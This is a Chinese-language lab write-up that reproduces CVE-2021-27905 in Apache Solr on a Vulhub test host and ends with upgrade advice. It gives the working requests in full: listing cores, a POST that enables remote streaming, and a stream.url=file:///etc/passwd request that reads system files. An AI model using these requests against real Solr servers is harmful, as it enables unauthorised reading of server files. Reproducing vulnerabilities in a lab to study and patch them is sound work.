1 漏洞信息
漏洞名称 | Apache Solr 服务端请求伪造漏洞 |
---|---|
漏洞编号 | CVE-2021-27905 |
危害等级 | 高危 |
CVSS评分 | 7.5 |
漏洞类型 | 中间件漏洞 |
漏洞厂商 | Apache |
漏洞组件 | Solr |
受影响版本 | Apache Solr < 8.8.2 |
漏洞概述 | Apache Solr 是一个开源的搜索服务器。在ApacheSolr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。 |
2 环境搭建
2.1 环境概述
- Linux操作系统(Vulhub)
2.2 搭建过程
加入到目标漏洞的文件下
{width=“5.7in”
height=“0.15833333333333333in”}
拉取并且启动镜像
{width=“5.761111111111111in”
height=“1.1916666666666667in”}
查看镜像信息
{width=“5.753472222222222in”
height=“0.22291666666666668in”}
登录网页,访问成功
{width=“5.759722222222222in”
height=“1.41875in”}
3 漏洞复现
构造恶意payload,成功获取到了数据库名字
http://192.168.1.136:8983/solr/admin/cores?indexInfo=false&wt=json
{width=“5.758333333333334in”
height=“3.810416666666667in”}
得到了数据库名之后,我们可以通过修改数据库的配置来开启RemoteStreaming
POST /solr/demo/config HTTP/1.1
Host: 192.168.1.136:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0)
Gecko/20100101 Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer:
http://192.168.1.136:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 80
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
{width=“5.759722222222222in”
height=“2.591666666666667in”}
尝试任意文件读取,发现读取成功
http://192.168.1.136:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd
{width=“5.759722222222222in”
height=“1.0347222222222223in”}
4 修复建议
将Solr升级到8.8.2及以上的版本。